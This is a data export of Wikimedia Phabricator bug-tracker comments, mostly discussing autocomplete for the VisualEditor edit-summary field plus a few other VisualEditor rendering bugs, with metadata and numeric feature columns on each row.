+1184646,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",Proposed in [[https://meta.wikimedia.org/wiki/Community_Wishlist_Survey_2019/Editing/Autocomplete_summaries_in_VisualEditor|Community Wishlist Survey]],,,1543326392,,PHID-USER-dcexrhjioxqqsq4pdrfe,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,282,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+1031689,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","According to https://developer.mozilla.org/en-US/Firefox/Releases/59#HTML Firefox now supports autocompletion of textareas, so it should actually be possible to have native autocomplete suggestions, at least in Firefox.",,,1521014264,,PHID-USER-tyjmn7xcw6s2b6rqagj7,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,245,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0
+962563,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",Proposed to #community-wishlist-survey-2017 ,,,1510324177,,PHID-USER-dcexrhjioxqqsq4pdrfe,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,227,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+854529,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",">>! In T50274#3234411, @Schnark wrote:
+> But neither will give results for users not logged in. Even if they have a static IP, `mw.user.getName()` will only return `null`.
+
+There are a bunch of features that don't work for logged-out users; I'd not worry too much about that.",,,1493924564,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,200,,1,0,0,0,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,0,0,0,1
+854042,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",">>! In T50274#2137790, @Esanders wrote:
+> Fetch and filter recent commit messages:
+> 
+> https://gist.github.com/edg2s/f7db01d240ad3c83d183
+
+I don't think that `list: 'recentchanges'` is the best approach, as it will only give you summaries from the last month. When you are not very active, these are very few, so won't help much. In my script https://de.wikipedia.org/wiki/Benutzer:Schnark/js/veSummary.js, I instead decided to use `list: 'usercontribs'` instead.
+But neither will give results for users not logged in. Even if they have a static IP, `mw.user.getName()` will only return `null`.",,,1493889939,,PHID-USER-tyjmn7xcw6s2b6rqagj7,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,200,,1,0,1,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1
+780380,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","A solution could also be HTML5 `contenteditable`, at least its support in browsers is acceptable. (see [[ http://stackoverflow.com/questions/13324822/autocomplete-with-contenteditable-div-instead-of-textarea-doesnt-seem-to-work | StackOverflow question about this topic ]])",,,1482075467,,PHID-USER-dcexrhjioxqqsq4pdrfe,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,180,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,1,1
+780379,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","A solution could also be HTML5 `contenteditable`, at least its support in browsers is acceptable. (see [[ http://stackoverflow.com/questions/13324822/autocomplete-with-contenteditable-div-instead-of-textarea-doesnt-seem-to-work | StackOverflow question to this topic ]])",,,1482075451,,PHID-USER-dcexrhjioxqqsq4pdrfe,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,180,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,1,1
+780378,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","A solution could also be HTML5 `contenteditable`, at least its support in browsers is acceptable. (see [[ http://stackoverflow.com/questions/13324822/autocomplete-with-contenteditable-div-instead-of-textarea-doesnt-seem-to-work | StackOverflow question to the topic ]])",,,1482075440,,PHID-USER-dcexrhjioxqqsq4pdrfe,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,180,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,1,1
+778083,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","(Actually, Chrome does support autocomplete=""street-address"", huh. But that doesn't really help us here, it doesn't remember and autocomplete values in textareas on its own and there doesn't seem to be a way to make it do that.)",,,1481761162,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,180,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,0,1,1,0,0,0,0
+778068,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","It's not possible to make <input> wrap. If anything, it could be possible to make <textarea> have autocomplete (nothing in the spec prohibits it, the attribute [[ https://html.spec.whatwg.org/multipage/forms.html#the-textarea-element| is valid on textarea]] and the new 'autocomplete' values include [[https://html.spec.whatwg.org/multipage/forms.html#attr-fe-autocomplete-street-address| one that is only valid on multiline content]]). But no browser seems to actually support this.",,,1481760141,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,180,,0,1,0,0,1,1,1,0,0,1,1,1,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,1,1,0,0,0,0,0,1
+778061,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","(That was https://gerrit.wikimedia.org/r/#/c/212795/, it tried to dynamically swap between <input type=text> and <textarea>.)",,,1481759634,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,180,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+778059,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","Bartosz had a go at this a few years ago, but then I pointed out some IME issues and he gave up. I think my API approach is probably the simplest.",,,1481759433,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,180,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,1,0
+777956,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","How plausible would it be to use `input` but magically make it word wrap, even though the HTML spec says it mustn't?",,,1481754213,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,180,,0,0,0,0,1,1,1,0,1,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+777955,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",Raising priority now that we have the same problem in VE source mode (NWE).,,,1481754015,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,180,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+727561,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","I have a (very hackish) user script for providing access to previous edit summaries: https://de.wikipedia.org/wiki/Benutzer:Schnark/js/veSummary.js If anybody wants to use code from there to fix this in VE itself, feel free to do so.",,,1473756944,,PHID-USER-tyjmn7xcw6s2b6rqagj7,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,167,,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,0
+632836,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","Fetch and filter recent commit messages:
+
+https://gist.github.com/edg2s/f7db01d240ad3c83d183",,,1458492511,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,141,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+213768,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","I think this should be low priority. Only power users need quick access to commonly used edit summaries, and these power users will by definition know OS-wide tools like autohotkey or ditto which can do the job much more comfortably.",,,1387232471,,PHID-USER-zzvqlvm6i6kml4tfnqvq,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,24,,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0
+213763,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","The main threads in VE/F:
+https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_05#Edit_summaries_have_no_.27memory.27
+and
+https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_06#Predictive_texting_in_edit_summaries
+and
+https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_06#Edit_summaries_-_menu_of_recently-used.3F
+and
+https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_07#Speed.2C_Edit_Summary.2C_and_Limitations
+
+
+
+Closely related are:
+
+Bug 42139 (""There is no preview of edit summaries"") - Wanted, so that we can test WP:shortcut links etc are correctly-targeted.
+
+Bug 50961 (""Provide simultaneous access to editor and edit summary"") - So that we don't have to remember everything we did, after a multitask edit.",,,1374776456,,PHID-USER-hphmqcx66p6d6gvmjzp7,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,3,,0,1,0,0,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+213758,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","(In reply to comment #8)
+> A suggested list populated with recent edit summaries will be really useful
+> when VE is extended to talk namespace.
+
+We're not planning to make VisualEditor work with talk pages, but instead this will be done by Flow (which will use VisualEditor for editing content).
+
+That said, we still think this would be valuable, and it's definitely in our plans.",,,1373481862,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,1,0,1,1,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+213755,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","A suggested list populated with recent edit summaries will be really useful when VE is extended to talk namespace. Almost every time I close an RfD as something other than delete, I make an edit to the redirect's talk page with the summary ""Noting old RFD"" or ""Note old RFD and tag for relevant WikiProjects"" (depending whether they are already tagged or not).",,,1373479736,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,1,,1,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+213751,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","(In reply to comment #6)
+> (In reply to comment #1)
+> > ...or implement our own autocomplete?
+> 
+> However, just brainstorming, to address Raimond's use-case in comment 3, it
+> may
+> be possible to query the most recent X edit summaries a user has used and
+> implement a suggestion feature based on those. That might cover the repeated
+> edits use-case.
+
+That's pretty much what I meant. The autocomplete would populate from recent commit messages, or they would just be shown in a dropdown.",,,1371146265,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,2,True,,,-3,,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,1,1
+213746,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","(In reply to comment #1)
+> ...or implement our own autocomplete?
+
+It depends what the use-case is. Personally, I like the current multi-line input and my browser stopped remembering my inputs for <input>s long ago (perhaps when I switched from Firefox to Chrome).
+
+However, just brainstorming, to address Raimond's use-case in comment 3, it may be possible to query the most recent X edit summaries a user has used and implement a suggestion feature based on those. That might cover the repeated edits use-case.",,,1371079046,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,1,1
+213740,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","Rephrased bug summary. ""textbox"" doesn't exist. There is ""input"" and ""textarea"" both are ""form fields"".",,,1370829536,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0
+213733,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","(In reply to comment #3)
+> Browser's autosuggestion/complete is the most used function during editing
+> Wikipedia, especially when I do similar edits. Every time I test the VE is
+> miss this function because the field is a textarea instead of an input field.
+> It's really annoying to type every time the summary instead of selecting out of
+> previous summaries.
+
+Sure, but this functionality isn't possible for proper editable surfaces with rich text, links and other HTML items that these fields will allow.",,,1368992892,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,1,True,,,-7,,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+213725,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","Browser's autosuggestion/complete is the most used function during editing Wikipedia, especially when I do similar edits. Every time I test the VE is miss this function because the field is a textarea instead of an input field. It's really annoying to type every time the summary instead of selecting out of previous summaries.",,,1368991970,,PHID-USER-3uecblbxq24ycewm2cog,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,1,False,,,-7,,1,0,0,0,0,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0
+213716,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","(In reply to comment #1)
+> ...or implement our own autocomplete?
+
+Possibly. Given that we are intending to replace this wikitext field with a full VE micro-surface (with the limited scope that log entries allow), that might be a bit fiddly, though. There's also not currently a useful API to query ""useful edit summaries"" from. Marking as a longer-term consideration.",,,1368979017,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1,1,0,1,0,1,1,0,1,1,0,1
+213708,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",...or implement our own autocomplete?,,,1368903301,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0
+50254,"VisualEditor: Alienation shield for images in table are not the right size, so images are still clickable","Images in a table are incompleted alienated and still clickable.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://de.wikipedia.org/wiki/Liste_der_Hochh%C3%A4user_in_Deutschland",Medium,50.0,1368003600,1369093449.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-x7lpmfetdbteus26qx4l,task_description,resolved,True,c1,1,False,False,True,-8,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+212558,"VisualEditor: Alienation shield for images in table are not the right size, so images are still clickable","(In reply to comment #0)
+> Images in a table are incompleted alienated and still clickable.
+
+This is fixed by the new image code which will be coming very soon (but is delayed to finish editing image properties). Marking as a dupe of that bug.
+
+*** This bug has been marked as a duplicate of bug 37870 ***",,,1369093449,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-x7lpmfetdbteus26qx4l,task_subcomment,,True,c1,1,True,,,-6,,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1
+50195,VisualEditor: Don't close/re-open annotation when pasting text into a comparable context,"Not sure whether this is ContentEditable, DataModel or LinearModel.
+
+When pasting italicised text (from elsewhere on the same page) into an already italicised sentence we currently close, re-open, close, re-open that annotation.
+
+Steps to reproduce problem:
+* start with:
+  <p><i>Original text here.</i></p><p><i>Something else there.</i></p>
+* select ""else""
+* copy
+* select ""text""
+* paste to replace
+* end state:
+  <p class=""ve-ce-branchNode""><i class=""ve-ce-TextStyleAnnotation ve-ce-TextStyleItalicAnnotation"">Original </i><i class=""ve-ce-TextStyleAnnotation ve-ce-TextStyleItalicAnnotation"">else</i><i class=""ve-ce-TextStyleAnnotation ve-ce-TextStyleItalicAnnotation""> here.</i></p>
+
+Now this wouldn't be a major issue (merely inefficient) if it weren't for bug 48194 in Parsoid.
+
+Real example:
+* Intended edit: https://www.mediawiki.org/w/index.php?title=Watchlist_wishlist&diff=686477&oldid=686247
+* Actual edit as seen in the Review and save dialog of VisualEditor (and saved as-is): https://www.mediawiki.org/w/index.php?title=Watchlist_wishlist&diff=686475&oldid=686247
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",Medium,50.0,1367894520,1368554438.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-altic2tebpor7cfydf6y,task_description,resolved,True,c1,1,True,False,True,-8,,0,0,0,0,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+209140,VisualEditor: Don't close/re-open annotation when pasting text into a comparable context,*** Bug 48489 has been marked as a duplicate of this bug. ***,,,1368726943,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-altic2tebpor7cfydf6y,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+209134,VisualEditor: Don't close/re-open annotation when pasting text into a comparable context,Confirmed on mediawiki.org,,,1368554438,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-altic2tebpor7cfydf6y,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1
+209127,VisualEditor: Don't close/re-open annotation when pasting text into a comparable context,"Timo, can you confirm this in master? I think it's been fixed by Ed's change to how annotations are compared…",,,1368228767,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-altic2tebpor7cfydf6y,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+50185,VisualEditor: Non-contiguous rendering of references in LTR text in RTL mode,"* Create an English article with a <ref> tag at the end of a paragraph
+* Set $wgLanguageCode = 'en-rtl';
+* View the article. You'll see something like ]My text[1 (this rendering seems wrong)
+* Edit the article in VE. The non-contiguous reference causes problems:
+** The phantom is rendered wrongly so it's not visible
+** When you select the reference, the selection looks really strange
+
+Should we wrap things in a <bidi> tag or whatever to ensure better rendering?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1367879940,1369783170.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-ix6ll4i6ezero6wug475,task_description,resolved,True,c1,1,False,False,True,-8,,0,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
